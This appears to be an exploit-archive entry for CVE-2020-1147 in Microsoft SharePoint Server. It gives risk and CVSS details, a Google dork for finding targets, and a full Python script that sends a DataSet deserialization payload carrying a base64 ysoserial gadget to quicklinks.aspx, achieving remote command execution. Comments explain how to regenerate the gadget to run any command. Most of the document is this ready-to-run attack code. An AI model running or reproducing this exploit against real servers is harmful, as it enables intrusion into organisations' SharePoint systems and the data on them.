Microsoft SharePoint Server 2019 Remote Code Execution

2020.08.17
Credit: West Shepherd
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution # Google Dork: inurl:quicklinks.aspx # Date: 2020-08-14 # Exploit Author: West Shepherd # Vendor Homepage: https://www.microsoft.com # Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service # Pack 2, SharePoint Server 2019 # Tested on: Windows 2016 # CVE : CVE-2020-1147 # Credit goes to Steven Seele and Soroush Dalili # Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html #!/usr/bin/python from sys import argv, exit, stdout, stderr import argparse import requests from bs4 import BeautifulSoup from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests_ntlm import HttpNtlmAuth from urllib import quote, unquote import logging class Exploit: # To generate the gadget use: # ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command" # ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "command" gadget = '/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==' control_path_quicklinks = '/_layouts/15/quicklinks.aspx' control_path_quicklinksdialogform = '/_layouts/15/quicklinksdialogform.aspx' control_path = control_path_quicklinks def __init__( self, redirect=False, proxy_address='', username='', domain='', password='', target='' ): requests.packages.urllib3.disable_warnings(InsecureRequestWarning) self.username = '%s\\%s' % (domain, username) self.target = target self.password = password self.session = requests.session() self.redirect = redirect self.timeout = 0.5 self.proxies = { 'http': 'http://%s' % proxy_address, 'https': 'http://%s' % proxy_address } \ if proxy_address is not None \ and proxy_address != '' else {} self.headers = {} self.query_params = { 'Mode': "Suggestion" } self.form_values = { '__viewstate': '', '__SUGGESTIONSCACHE__': '' } self.cookies = {} self.payload = """\ <DataSet> <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset"> <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="Exp_x0020_Table"> <xs:complexType> <xs:sequence> <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/> </xs:sequence> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> </xs:element> </xs:schema> <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"> <somedataset> <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted"> <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <ExpandedElement/> <ProjectedProperty0> <MethodName>Deserialize</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">{GADGET}</anyType> </MethodParameters> <ObjectInstance xsi:type="LosFormatter"></ObjectInstance> </ProjectedProperty0> </pwn> </Exp_x0020_Table> </somedataset> </diffgr:diffgram> </DataSet>""".replace('{GADGET}', self.gadget) def do_get(self, url, params=None, data=None): return self.session.get( url=url, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, data=data, params=params, auth=HttpNtlmAuth(self.username, self.password) ) def do_post(self, url, data=None, params=None): return self.session.post( url=url, data=data, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, params=params, auth=HttpNtlmAuth(self.username, self.password) ) def parse_page(self, content): soup = BeautifulSoup(content, 'lxml') for key, val in self.form_values.iteritems(): try: for tag in soup.select('input[name=%s]' % key): try: self.form_values[key] = tag['value'] except Exception as error: stderr.write('error for key %s error %s\n' % (key, str(error))) except Exception as error: stderr.write('error for selector %s error %s\n' % (key, str(error))) return self def debug(self): try: import http.client as http_client except ImportError: import httplib as http_client http_client.HTTPConnection.debuglevel = 1 logging.basicConfig() logging.getLogger().setLevel(logging.DEBUG) requests_log = logging.getLogger("requests.packages.urllib3") requests_log.setLevel(logging.DEBUG) requests_log.propagate = True return self def clean(self, payload): payload = payload\ .replace('\n', '')\ .replace('\r', '') while ' ' in payload: payload = payload\ .replace(' ', ' ') return payload def get_form(self): url = '%s%s' % (self.target, self.control_path) resp = self.do_get(url=url, params=self.query_params) self.parse_page(content=resp.content) return resp def send_payload(self): url = '%s%s' % (self.target, self.control_path) # self.get_form() self.headers['Content-Type'] = 'application/x-www-form-urlencoded' self.form_values['__SUGGESTIONSCACHE__'] = self.clean(self.payload) self.form_values['__viewstate'] = '' resp = self.do_post(url=url, params=self.query_params, data=self.form_values) return resp if __name__ == '__main__': parser = argparse.ArgumentParser(add_help=True, description='CVE-2020-1147 SharePoint exploit') try: parser.add_argument('-target', action='store', help='Target address: http(s)://target.com ') parser.add_argument('-username', action='store', default='', help='Username to use: first.last') parser.add_argument('-domain', action='store', default='', help='User domain to use: domain.local') parser.add_argument('-password', action='store', default='', help='Password to use: Summer2020') parser.add_argument('-both', action='store', default=False, help='Try both pages (quicklinks.aspx and quicklinksdialogform.aspx): False') parser.add_argument('-debug', action='store', default=False, help='Enable debugging: False') parser.add_argument('-proxy', action='store', default='', help='Enable proxy: 10.10.10.10:8080') if len(argv) == 1: parser.print_help() exit(1) options = parser.parse_args() exp = Exploit( proxy_address=options.proxy, username=options.username, domain=options.domain, password=options.password, target=options.target ) if options.debug: exp.debug() stdout.write('target %s username %s domain %s password %s debug %s proxy %s\n' % ( options.target, options.username, options.domain, options.password, options.debug, options.proxy )) result = exp.send_payload() stdout.write('Response: %d\n' % result.status_code) if 'MicrosoftSharePointTeamServices' in result.headers: stdout.write('Version: %s\n' % result.headers['MicrosoftSharePointTeamServices']) if options.both and result.status_code != 200: exp.control_path = exp.control_path_quicklinksdialogform stdout.write('Trying alternate page\n') result = exp.send_payload() stdout.write('Response: %d\n' % result.status_code) except Exception as error: stderr.write('error in main %s' % str(error)) Regards, West Shepherd OSWE | OSCE | OSCP | OSWP | CEH | Security+ West Lee Shepherd, LLC


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